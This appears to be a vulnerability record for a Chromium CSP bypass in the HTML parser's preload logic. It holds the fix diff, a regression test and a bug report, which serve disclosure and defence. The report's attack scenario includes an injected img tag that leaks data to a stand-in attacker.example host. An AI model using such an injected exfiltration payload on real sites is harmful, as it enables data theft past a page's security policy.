CVE-2026-11292
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifthird_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php |
modified |
Files Changed
third_party/blink/renderer/core/html/parser/html_document_parser.ccthird_party/blink/web_tests/TestExpectationsthird_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
Patch
From 59be26eff404e62c3b52de87b1668b82db231285 Mon Sep 17 00:00:00 2001 From: Mason Freed <[email protected]> Date: Fri, 01 May 2026 09:55:36 -0700 Subject: [PATCH] Fix preload scanner bypass of <meta> CSP tags This change fixes a logic flaw in `HTMLDocumentParser::AllowPreloading` where speculative preloads could incorrectly bypass a restrictive `<meta>` Content Security Policy when the experimental `AllowPreloadingWithCSPMetaTag` feature was enabled. Previously, the parser would allow queued preloads to be released once the total number of parsed CSP policies (`csp->GetParsedPolicies().size()`) matched the number of `<meta>` CSP tags seen by the preload scanner (`seen_csp_meta_tags_`). This caused a premature release if there was an HTTP response header policy (like `Content-Security-Policy-Report-Only`), which falsely inflated the total policy count. This CL updates the check to explicitly count only policies whose source is `network::mojom::blink::ContentSecurityPolicySource::kMeta`. This guarantees the preload scanner accurately waits for the tree builder to enforce the specific `<meta>` tag's policy before dispatching requests over the network. Fixed: 502358901 Change-Id: I9517173953b21feeaddd4ee20e5aa4305ffc1970 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7793536 Auto-Submit: Mason Freed <[email protected]> Commit-Queue: Mason Freed <[email protected]> Reviewed-by: Charles Harrison <[email protected]> Cr-Commit-Position: refs/heads/main@{#1623880} --- diff --git a/third_party/blink/renderer/core/html/parser/html_document_parser.cc b/third_party/blink/renderer/core/html/parser/html_document_parser.cc index d86f49d..6e496798 100644 --- a/third_party/blink/renderer/core/html/parser/html_document_parser.cc +++ b/third_party/blink/renderer/core/html/parser/html_document_parser.cc @@ -1845,8 +1845,14 @@ } // Only allows preloads if all seen meta tags have been processed. - return static_cast<int>(csp->GetParsedPolicies().size()) == - seen_csp_meta_tags_; + int processed_meta_policies = 0; + for (const auto& policy : csp->GetParsedPolicies()) { + if (policy->header->source == + network::mojom::blink::ContentSecurityPolicySource::kMeta) { + ++processed_meta_policies; + } + } + return processed_meta_policies == seen_csp_meta_tags_; } else { return false; } diff --git a/third_party/blink/web_tests/TestExpectations b/third_party/blink/web_tests/TestExpectations index 8d056a37..783453b 100644 --- a/third_party/blink/web_tests/TestExpectations +++ b/third_party/blink/web_tests/TestExpectations @@ -153,7 +153,6 @@ # parser was enabled. All of these are bugs/issues with the test itself. # Extra line info appears in the output in some cases. -crbug.com/1254932 http/tests/preload/meta-csp.html [ Failure ] # Extra box in the output: crbug.com/1254933 [ Linux ] css3/filters/filterRegions.html [ Failure Pass ] diff --git a/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php new file mode 100644 index 0000000..ce330e32 --- /dev/null +++ b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php @@ -0,0 +1,24 @@ +<?php +header("Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline'"); +?> + +<!DOCTYPE html> + +<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; font-src 'none'"> +<script src="../resources/testharness.js"></script> +<script src="../resources/testharnessreport.js"></script> + +<link rel=preload href="../resources/Ahem.ttf" as=font crossorigin> + +<script> +var t = async_test("Ensure CSP meta tags properly block preloads when there are also CSP tags in the response headers"); +window.addEventListener("load", t.step_func(function() { + if (window.internals) { + assert_true(internals.isPreloaded('../resources/testharness.js')); + assert_true(internals.isPreloaded('../resources/testharnessreport.js')); + assert_false(internals.isPreloaded('../resources/Ahem.ttf'), "fonts should not be preloaded"); + t.done(); + } +})); +</script> +
Regression Test / PoC
diff --git a/third_party/blink/web_tests/TestExpectations b/third_party/blink/web_tests/TestExpectations
index 8d056a37..783453b 100644
--- a/third_party/blink/web_tests/TestExpectations
+++ b/third_party/blink/web_tests/TestExpectations
@@ -153,7 +153,6 @@
# parser was enabled. All of these are bugs/issues with the test itself.
# Extra line info appears in the output in some cases.
-crbug.com/1254932 http/tests/preload/meta-csp.html [ Failure ]
# Extra box in the output:
crbug.com/1254933 [ Linux ] css3/filters/filterRegions.html [ Failure Pass ]
diff --git a/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
new file mode 100644
index 0000000..ce330e32
--- /dev/null
+++ b/third_party/blink/web_tests/http/tests/preload/meta-csp-with-http-header.php
@@ -0,0 +1,24 @@
+<?php
+header("Content-Security-Policy-Report-Only: script-src 'self' 'unsafe-inline'");
+?>
+
+<!DOCTYPE html>
+
+<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-inline'; font-src 'none'">
+<script src="../resources/testharness.js"></script>
+<script src="../resources/testharnessreport.js"></script>
+
+<link rel=preload href="../resources/Ahem.ttf" as=font crossorigin>
+
+<script>
+var t = async_test("Ensure CSP meta tags properly block preloads when there are also CSP tags in the response headers");
+window.addEventListener("load", t.step_func(function() {
+ if (window.internals) {
+ assert_true(internals.isPreloaded('../resources/testharness.js'));
+ assert_true(internals.isPreloaded('../resources/testharnessreport.js'));
+ assert_false(internals.isPreloaded('../resources/Ahem.ttf'), "fonts should not be preloaded");
+ t.done();
+ }
+}));
+</script>
+
Original Bug Report
CSP bypass via mismatched policy counts in HTMLDocumentParser::AllowPreloading
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: A logic flaw in HTMLDocumentParser allows speculative preloads to bypass a restrictive <meta> Content Security Policy. The parser incorrectly compares the total number of applied CSP policies (which includes HTTP headers) against the count of <meta> CSP tags seen by the preload scanner. If a page has an HTTP CSP header and a <meta> CSP tag, preloads can be dispatched before the <meta> tag’s policy is actually enforced.
Affected files:
third_party/blink/renderer/core/html/parser/html_document_parser.ccthird_party/blink/renderer/core/html/parser/html_preload_scanner.ccthird_party/blink/renderer/core/frame/csp/content_security_policy.ccthird_party/blink/renderer/core/loader/document_loader.ccthird_party/blink/renderer/core/loader/http_equiv.cc
Estimated timestamp from git blame: 2025-03-26
Summary
A potential vulnerability exists in the speculative preloading logic of Blink’s HTML parser when the experimental AllowPreloadingWithCSPMetaTag feature is enabled.
The HTMLDocumentParser::AllowPreloading() function attempts to gate speculative preloads until all CSP <meta> tags discovered by the preload scanner have been fully processed by the HTML tree builder. However, the synchronization logic is flawed: it compares the total count of parsed CSP policies (which includes policies delivered via HTTP response headers) against the number of <meta> CSP tags encountered by the scanner. If an HTTP CSP policy is present, the equality check can pass prematurely, allowing preloads to bypass a restrictive <meta> CSP tag.
Technical Details
In third_party/blink/renderer/core/html/parser/html_document_parser.cc, the AllowPreloading() function contains the following check:
return static_cast<int>(csp->GetParsedPolicies().size()) == seen_csp_meta_tags_;
csp->GetParsedPolicies().size(): This returns the total number of policies in theContentSecurityPolicyobject. Crucially, this vector is populated at navigation commit with any policies derived from HTTP headers (includingContent-Security-Policy-Report-Only).seen_csp_meta_tags_: This counter is incremented by theHTMLPreloadScanneronly when it encounters a<meta http-equiv="content-security-policy">tag in the HTML markup.
Because these two values measure different things, an attacker can manipulate them to match prematurely.
Potential Attack Scenario
Note: The following steps describe a theoretical attack sequence based on code analysis; a functional exploit has not been executed.
- The attacker serves (or finds) a page that returns an HTTP response header, such as
Content-Security-Policy-Report-Only: default-src 'self'. During navigation commit, this policy is added, soGetParsedPolicies().size()equals 1. - The attacker injects HTML (e.g., via XSS) containing a restrictive CSP meta tag:
<meta http-equiv="content-security-policy" content="default-src 'none'">. - Immediately following the meta tag, the attacker injects a resource load that would normally be blocked, e.g.,
<img src="https://attacker.example/leak?data=secret">. - The
HTMLPreloadScannerscans the markup. It sees the<meta>tag and incrementsseen_csp_meta_tags_to 1. - The scanner queues the attacker’s
<img>preload and yields back to theHTMLDocumentParser. - The parser calls
AllowPreloading()to see if the queued preload can be dispatched. - The check
!csp->IsActive()is bypassed becauseIsActive()returns true if any policy is present (including the header). - The parser evaluates
GetParsedPolicies().size() == seen_csp_meta_tags_. Since both are 1, it incorrectly returnstrue. - The attacker’s speculative preload is dispatched over the network to
attacker.example, successfully bypassing the restrictive<meta>CSP. - Later, the main HTML tree builder processes the
<meta>tag and adds its policy (bringingGetParsedPolicies().size()to 2), but it is too late to block the leak.
Impact
This results in a renderer-side CSP bypass, allowing an attacker to exfiltrate data or initiate cross-origin fetches that the page’s <meta> CSP intended to block. The impact is currently limited by the fact that the AllowPreloadingWithCSPMetaTag runtime feature is experimental.
Suggested Fix
To fix this synchronization issue, the parser must compare comparable counts.
One approach is to track the number of parsed meta tag policies specifically. ContentSecurityPolicy could maintain a separate counter or expose a method like GetParsedMetaPoliciesCount() that AllowPreloading() checks against seen_csp_meta_tags_.
Alternatively, seen_csp_meta_tags_ could be initialized at navigation commit to the number of HTTP header policies present, effectively transforming it into an expected_total_policies_ counter.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.